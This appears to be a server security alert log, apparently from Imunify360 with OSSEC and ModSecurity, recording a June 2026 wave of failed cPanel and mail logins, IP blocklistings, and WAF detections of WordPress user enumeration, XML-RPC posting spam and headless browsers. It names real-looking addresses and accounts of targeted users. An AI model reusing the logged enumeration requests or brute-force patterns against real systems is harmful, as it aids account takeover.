Jun  6 20:53:55 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.221.50.135 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.95.91
country_id: 6252001
description:
[2026-06-06 20:55:43 +0000] info [whostmgrd] 82.40.95.91 - netwhmcstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.51.121.201
country_id: 290557
description:
[2026-06-06 20:58:22 +0000] info [whostmgrd] 2.51.121.201 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.93.253.240
country_id: 2750405
description:
2026-06-06 20:58:30 dovecot_plain authenticator failed for H=static.240.253.93.195.ip.webhost1.net (188-137-253-151.netherlands-3.vps.ac) [195.93.253.240]:55780: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.233.82.140
country_id: 458258
description:
2026-06-06 20:58:47 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [37.233.82.140]:48516: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 54.253.37.164
country_id: 2077456
description:
2026-06-06 20:59:27 dovecot_plain authenticator failed for H=ec2-54-253-37-164.ap-southeast-2.compute.amazonaws.com (188-137-253-151.netherlands-3.vps.ac) [54.253.37.164]:18482: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.198.247
country_id: 3865483
description:
Jun  6 20:59:45 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.198.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.233.82.140
country_id: 458258
description:
2026-06-06 20:58:54 dovecot_login authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [37.233.82.140]:48516: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.101.122
country_id: 2921044
description:
2026-06-06 20:59:06 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [85.195.101.122]:46150: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.112
country_id: 3469034
description:
Jun  6 20:59:23 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.112 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.28
country_id: 3175395
description:
2026-06-06 21:00:32 dovecot_plain authenticator failed for H=vm813.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.113.28]:45176: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.239.114.176
country_id: 798544
description:
2026-06-06 21:00:45 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [77.239.114.176]:49104: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.198.247
country_id: 3865483
description:
Jun  6 20:59:53 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.198.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.207.190.137
country_id: 6252001
description:
2026-06-06 21:00:08 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [38.207.190.137]:51744: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.80.13.85
country_id: 1835841
description:
2026-06-06 20:59:52 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [47.80.13.85]:60280: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.189
country_id: 2750405
description:
2026-06-06 21:01:43 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [193.29.139.189]:30734: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.101.181
country_id: 2635167
description:
Jun  6 21:00:56 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.101.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.101.181
country_id: 2635167
description:
2026-06-06 21:00:58 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [141.98.101.181]:58544: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.29.139.189
country_id: 2750405
description:
Jun  6 21:01:41 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.29.139.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.239.114.176
country_id: 798544
description:
2026-06-06 21:00:52 dovecot_login authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [77.239.114.176]:49104: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.233.41.17
country_id: 719819
description:
2026-06-06 21:02:45 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [152.233.41.17]:56512: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.189
country_id: 2750405
description:
2026-06-06 21:01:49 dovecot_login authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [193.29.139.189]:30734: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.27.234.120
country_id: 2077456
description:
2026-06-06 21:02:00 dovecot_plain authenticator failed for H=ec2-3-27-234-120.ap-southeast-2.compute.amazonaws.com (188-137-253-151.netherlands-3.vps.ac) [3.27.234.120]:53518: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.23.136.11
country_id: 2017370
description:
[2026-06-06 21:02:05 +0000] info [whostmgrd] 31.23.136.11 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.29.139.189
country_id: 2750405
description:
Jun  6 21:01:47 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.29.139.189 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-06 21:01:49 +0000] info [cpaneld] 195.3.220.88 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.124.79.130
country_id: 732800
description:
Jun  6 21:03:40 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.124.79.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.107.153.65
country_id: 2921044
description:
2026-06-06 21:03:40 dovecot_plain authenticator failed for H=static.65.153.107.91.clients.your-server.de (188-137-253-151.netherlands-3.vps.ac) [91.107.153.65]:59276: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.116
country_id: 298795
description:
Jun  6 21:03:22 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.233.41.17
country_id: 719819
description:
2026-06-06 21:02:52 dovecot_login authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [152.233.41.17]:56512: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.102.144.110
country_id: 2635167
description:
2026-06-06 21:02:57 dovecot_plain authenticator failed for H=vmi2340617.contaboserver.net (188-137-253-151.netherlands-3.vps.ac) [149.102.144.110]:35548: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.219.215.193
country_id: 1880251
description:
2026-06-06 21:03:14 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [8.219.215.193]:49778: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.244.56.6
country_id: 6252001
description:
Jun  6 21:04:30 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.244.56.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.157
country_id: 2750405
description:
2026-06-06 21:04:46 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [193.29.139.157]:1776: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.15.152.167
country_id: 146669
description:
2026-06-06 21:04:15 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [45.15.152.167]:50518: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.29.139.157
country_id: 2750405
description:
Jun  6 21:04:44 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.29.139.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.124.79.130
country_id: 732800
description:
Jun  6 21:03:53 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.124.79.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.244.56.6
country_id: 6252001
description:
2026-06-06 21:04:32 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [173.244.56.6]:59900: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.29.139.157
country_id: 2750405
description:
Jun  6 21:04:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.29.139.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.157
country_id: 2750405
description:
2026-06-06 21:04:53 dovecot_login authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [193.29.139.157]:1776: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-06 21:04:54 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:42214: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.32
country_id: 1861060
description:
2026-06-06 21:05:31 dovecot_plain authenticator failed for H=vm1904.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.91.32]:41760: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.139.79.57
country_id: 1835841
description:
2026-06-06 21:05:13 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [221.139.79.57]:36768: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.19.148.74
country_id: 6252001
description:
2026-06-06 21:05:48 dovecot_plain authenticator failed for H=outline1-sjc-fs-ce.vm.tornadovps.net (188-137-253-151.netherlands-3.vps.ac) [71.19.148.74]:43988: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.156.44.120
country_id: 798549
description:
2026-06-06 21:06:18 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [185.156.44.120]:49274: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.123.210.95
country_id: 6252001
description:
[2026-06-06 21:06:33 +0000] info [whostmgrd] 69.123.210.95 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.0.137
country_id: 2300660
description:
Jun  6 21:06:17 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.0.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.144
country_id: 2750405
description:
2026-06-06 21:06:30 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [193.29.139.144]:63542: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.105.134
country_id: 1835841
description:
2026-06-06 21:06:45 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [211.178.105.134]:53622: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.19.148.74
country_id: 6252001
description:
2026-06-06 21:05:55 dovecot_login authenticator failed for H=outline1-sjc-fs-ce.vm.tornadovps.net (188-137-253-151.netherlands-3.vps.ac) [71.19.148.74]:43988: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.132.93
country_id: 3469034
description:
Jun  6 21:05:58 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.132.93 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.23
country_id: 3175395
description:
2026-06-06 21:06:00 dovecot_plain authenticator failed for H=vm705.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.113.23]:49528: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.56.59.161
country_id: 6252001
description:
2026-06-06 21:07:19 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [72.56.59.161]:10449: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.251.245
country_id: 6252001
description:
Jun  6 21:07:31 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.251.245 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.251.245
country_id: 6252001
description:
2026-06-06 21:07:33 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [149.34.251.245]:25950: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.105.134
country_id: 1835841
description:
2026-06-06 21:06:53 dovecot_login authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [211.178.105.134]:53622: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 197.186.5.24
country_id: 149590
domain: butodra.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users?ver=0.5028341368645022||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.146.77.248
country_id: 6252001
description:
2026-06-06 21:08:34 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [129.146.77.248]:39444: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.186.5.24
country_id: 149590
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:19753.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:37bb9b714ce1ee2a1935df25def60621b8aae6c9||Title:udkq74cdssu2v3pk||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.142.132.60
country_id: 298795
description:
2026-06-06 21:08:04 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [213.142.132.60]:22450: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.176.16.179
country_id: 2750405
description:
2026-06-06 21:08:17 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [213.176.16.179]:51524: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.61.109.204
country_id: 1861060
description:
2026-06-06 21:08:27 dovecot_login authenticator failed for H=(inger.tg) [109.61.109.204]:39168: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.80.57.6
country_id: 1835841
description:
2026-06-06 21:09:13 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [47.80.57.6]:35862: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.154.146.237
country_id: 2921044
description:
2026-06-06 21:09:47 dovecot_plain authenticator failed for H=ip217-154-146-237.pbiaas.com (188-137-253-151.netherlands-3.vps.ac) [217.154.146.237]:56668: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-06 21:09:48 +0000] info [cpaneld] 195.3.220.88 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.150.109.20
country_id: 1835841
description:
2026-06-06 21:08:49 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [221.150.109.20]:57908: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.27.40.241
country_id: 2750405
description:
2026-06-06 21:09:30 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [2.27.40.241]:15736: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.201.21.32
country_id: 290557
description:
[2026-06-06 21:10:01 +0000] info [whostmgrd] 87.201.21.32 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-06 21:10:20 +0000] info [cpaneld] 195.3.220.88 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.154.146.237
country_id: 2921044
description:
2026-06-06 21:09:53 dovecot_login authenticator failed for H=ip217-154-146-237.pbiaas.com (188-137-253-151.netherlands-3.vps.ac) [217.154.146.237]:56668: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.90.234.133
country_id: 6252001
description:
2026-06-06 21:09:59 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [147.90.234.133]:44170: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.218.143.194
country_id: 458258
description:
2026-06-06 21:10:19 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [91.218.143.194]:52248: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.34
country_id: 3175395
description:
2026-06-06 21:11:20 dovecot_plain authenticator failed for H=vm807.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.113.34]:49664: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.76.84.199
country_id: 2921044
description:
2026-06-06 21:10:51 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [45.76.84.199]:58258: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.44.113.251
country_id: 798544
description:
2026-06-06 21:12:13 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [191.44.113.251]:51382: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.31
country_id: 1861060
description:
2026-06-06 21:12:48 dovecot_plain authenticator failed for H=vm1910.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.91.31]:57946: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.32
country_id: 1861060
description:
2026-06-06 21:12:29 dovecot_plain authenticator failed for H=vm1904.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.91.32]:45022: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.105.134
country_id: 1835841
description:
2026-06-06 21:13:20 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [211.178.105.134]:45464: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.31
country_id: 1861060
description:
2026-06-06 21:12:56 dovecot_login authenticator failed for H=vm1910.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.91.31]:57946: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.119.159
country_id: 2921044
description:
2026-06-06 21:13:02 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [31.76.119.159]:55686: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.29.139.206
country_id: 2750405
description:
Jun  6 21:14:05 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.29.139.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.124.107.46
country_id: 298795
description:
2026-06-06 21:14:19 dovecot_plain authenticator failed for H=static.46.107.124.138.ip.webhost1.net (188-137-253-151.netherlands-3.vps.ac) [138.124.107.46]:45012: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.206
country_id: 2750405
description:
2026-06-06 21:14:07 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [193.29.139.206]:4402: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Withdraw Your Region Bonus eropolik.blogspot.dk wc||Email:myrnajacksonmj@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.158.204.249
country_id: 2750405
description:
2026-06-06 21:14:35 dovecot_plain authenticator failed for H=51-158-204-249.rev.poneytelecom.eu (188-137-253-151.netherlands-3.vps.ac) [51.158.204.249]:41614: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:21-14.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.21
country_id: 1861060
description:
2026-06-06 21:15:11 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [31.76.91.21]:49212: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.17
country_id: 3175395
description:
2026-06-06 21:15:37 dovecot_plain authenticator failed for H=vm723.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.113.17]:57860: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 142.44.198.48
country_id: 6251999
domain: hotelyabisso.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/75.0.3765.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.107.160.243
country_id: 2921044
description:
2026-06-06 21:14:53 dovecot_plain authenticator failed for H=static.243.160.107.91.clients.your-server.de (188-137-253-151.netherlands-3.vps.ac) [91.107.160.243]:54726: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.176.16.179
country_id: 2750405
description:
2026-06-06 21:15:25 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [213.176.16.179]:36558: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.130.13.57
country_id: 2921044
description:
2026-06-06 21:15:54 dovecot_plain authenticator failed for H=static.57.13.130.94.clients.your-server.de (188-137-253-151.netherlands-3.vps.ac) [94.130.13.57]:46532: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.89.60.64
country_id: 2635167
description:
2026-06-06 21:16:19 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [45.89.60.64]:55746: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.220
country_id: 2750405
description:
2026-06-06 21:16:32 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [104.28.159.220]:32932: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.79
country_id: 3175395
description:
2026-06-06 21:16:44 dovecot_plain authenticator failed for H=vm1237.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.113.79]:36388: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.79
country_id: 3175395
description:
2026-06-06 21:16:51 dovecot_login authenticator failed for H=vm1237.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.113.79]:36388: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.56.59.140
country_id: 6252001
description:
2026-06-06 21:16:56 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [72.56.59.140]:50929: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.158.75.25
country_id: 2750405
domain: civilemagazine.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.102.48.216
country_id: 2510769
description:
Jun  6 21:17:08 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.102.48.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.48.216
country_id: 2510769
description:
2026-06-06 21:17:10 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [212.102.48.216]:37456: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.127.7.216
country_id: 6252001
description:
